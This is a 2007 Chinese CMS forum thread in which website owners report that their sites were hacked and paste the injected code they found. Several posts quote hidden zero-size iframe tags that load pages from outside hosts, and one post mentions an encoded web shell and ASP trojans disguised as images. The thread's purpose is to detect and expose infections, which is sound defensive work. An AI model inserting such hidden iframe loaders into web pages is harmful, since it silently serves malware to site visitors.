抓马专贴

newstar NewStar工作室个人空间相册组别:版主性别: 生日:1977-1-10 来自:中国冬枣之乡积分:631 帖子:460 注册: 2004-08-11	2007-08-22 10:13 \| 只看楼主树型\| 收藏\| 小中大 1 抓马专贴请被挂马的　用户　积极跟贴，说明被挂的代码！对公然采用挂马方式的站点　发现一个　曝光一个！欢迎走近　中国冬枣之乡——沾化　http://www.zhanhua.gov.cn NewStar工作室　http://www.newzh.cn QQ：228770305 　风讯CMS　asp版交流群：11980260

NewStar工作室

个人空间 相册
组别:版主
性别:
生日:1977-1-10
来自:中国冬枣之乡
积分:631
帖子:460
注册: 2004-08-11

2007-08-22 10:15 | 只看楼主

树型| 收藏| 小中大 2

回复：抓马专贴

先顶一个！
中国溧阳　http://www.liyang.gov.cn/　一个政府网站
竟然采用　挂马的方式　　页且挂的是病毒！让人无法理解！
挂的代码　：<iframe src=http://www.liyang.gov.cn/css/js/web.htm width="1" height="1" frameborder="0"></iframe>

欢迎走近　中国冬枣之乡——沾化　http://www.zhanhua.gov.cn
NewStar工作室　http://www.newzh.cn
QQ：228770305 　风讯CMS　asp版交流群：11980260

个人空间 相册
组别:新手上路
性别:
生日:1900-1-1
来自:
积分:26
帖子:16
注册: 2006-05-22

2007-08-22 11:22 |

树型| 收藏| 小中大 3

回复：抓马专贴

全部页面被挂马
挂的的代码
<iframe src=http://www.ycbook.net/ma/1.htm width=0 height=0></iframe><iframe src=http://www.ycbook.net/ma/2.htm width=0 height=0></iframe><iframe src=http://www.ycbook.net/ma/3.htm width=0 height=0></iframe><iframe src=http://www.ycbook.net/ma/4.htm width=0 height=0></iframe><iframe src=http://www.ycbook.net/ma/5.htm width=0 height=0></iframe><iframe src=http://www.ycbook.net/ma/6.htm width=0 height=0></iframe>><iframe src=http://www.ycbook.net/ma/7.htm width=0 height=0></iframe>><iframe src=http://www.ycbook.net/ma/8.htm width=0 height=0></iframe>

newstar NewStar工作室个人空间相册组别:版主性别: 生日:1977-1-10 来自:中国冬枣之乡积分:631 帖子:460 注册: 2004-08-11	2007-08-22 15:02 \| 只看楼主树型\| 收藏\| 小中大 4 回复：抓马专贴 ^&^ 抓马了　见一个抓一下！欢迎走近　中国冬枣之乡——沾化　http://www.zhanhua.gov.cn NewStar工作室　http://www.newzh.cn QQ：228770305 　风讯CMS　asp版交流群：11980260

半只青蛙

个人空间 相册
组别:注册会员
性别:
生日:1900-1-1
来自:
积分:360
帖子:328
注册: 2007-03-30

2007-08-24 13:26 |

树型| 收藏| 小中大 5

回复: 抓马专贴

引用:

原帖由 newstar 于 2007-8-22 10:15:00 发表
先顶一个！
中国溧阳　http://www.liyang.gov.cn/　一个政府网站
竟然采用　挂马的方式　　页且挂的是病毒！让人无法理解！
挂的代码　：<iframe src=http://www.liyang.gov.cn/css/js/web.htm wid......

跟你的一模一样！郁闷死了！

-------------------------------------我还活着，我还在折腾！

ttmeng 个人空间相册组别:新手上路性别: 来自: 积分:97 帖子:97 注册: 2007-07-21	2007-08-27 08:24 \| 树型\| 收藏\| 小中大 6 回复：抓马专贴我在淘宝的软件上也找到马有恶意的哦付出的努力**经过的努力**成功的努力

zjszph 个人空间相册组别:注册会员性别: 生日:1900-1-1 来自: 积分:359 帖子:340 注册: 2007-04-12	2007-08-27 12:48 \| 树型\| 收藏\| 小中大 7 回复：抓马专贴这个网站应该是被黑了才被挂的吧. 急性肠胃炎了......

个人空间 相册
组别:高级会员
性别:
生日:1900-1-1
来自:
积分:1928
帖子:865
注册: 2003-09-30

2007-08-27 14:37 |

树型| 收藏| 小中大 8

回复: 抓马专贴

引用:

原帖由 newstar 于 2007-8-22 10:15:00 发表
先顶一个！
中国溧阳　http://www.liyang.gov.cn/　一个政府网站
竟然采用　挂马的方式　　页且挂的是病毒！让人无法理解！
挂的代码　：<iframe src=http://www.liyang.gov.cn/css/js/web.htm wid......

和你一样

欢迎光临芜湖人家网http://www.my0553.com,承接风讯模板,网站制作.联系QQ:15347306

个人空间 相册
组别:注册会员
性别:
生日:1900-1-1
来自:
积分:160
帖子:104
注册: 2007-02-05

2007-08-27 17:00 |

树型| 收藏| 小中大 9

回复: 抓马专贴

引用:

原帖由 masanli 于 2007-8-24 13:26:00 发表
[quote] 原帖由 newstar 于 2007-8-22 10:15:00 发表
先顶一个！
中国溧阳　http://www.liyang.gov.cn/　一个政府网站
竟然采用　挂马的方式　　页且挂的是病毒！让......

我的也是,一样的

喜欢风讯，希望风讯做得更好！
http://www.day163.cn天天资料网欢迎您！

ttmeng 个人空间相册组别:新手上路性别: 来自: 积分:97 帖子:97 注册: 2007-07-21	2007-08-28 09:19 \| 树型\| 收藏\| 小中大 10 回复：抓马专贴真的没办法吗？？感觉是工作人员的态度吗付出的努力**经过的努力**成功的努力

老狼个人空间相册组别:新手上路性别: 来自: 积分:3 帖子:3 注册: 2007-06-04	2007-09-01 11:09 \| 树型\| 收藏\| 小中大 11 回复：抓马专贴 <iframe src="http://xx.9365.org/ip/1.htm" width=100 height=0></iframe>

个人空间 相册
组别:新手上路
性别:
来自:
积分:8
帖子:8
注册: 2007-05-25

2007-09-24 16:42 |

树型| 收藏| 小中大 12

回复: 抓马专贴

附件: 您所在的用户组无法下载或查看附件
大家看看我这个，我服务器上就被挂了这个，原来现在的网马这个牛！它把我服务器上所有的东东都列出来了，随便操作……:'(
代码是用VBScript.Encode加密的，网上搜下，解密的很多。

PS.
我被挂了几次，都是ifram的漂浮框。Me刚找了一个解决方法不错，
在http://blog.bc-cn.net/user15/76930/archives/2007/7781.shtml#4756
大家可以看看。

再就是我发现userfile那个文件夹里，被传上来.asp.jpg文件，应该是吧.asp木马伪装成图片川上来的。

我在图片上传里加了几句话，由于我用的是aspjpeg给图片加的水印，我就用它打开上传的图片，如果有错，就删除该图片，并记录这次操作。

风讯官方论坛FoosunCMS交流区 插件讨论抓马专贴

标题: 抓马专贴

回复：抓马专贴

回复：抓马专贴

回复：抓马专贴

回复: 抓马专贴

回复：抓马专贴

回复：抓马专贴

回复: 抓马专贴

回复: 抓马专贴

回复：抓马专贴

回复：抓马专贴

回复: 抓马专贴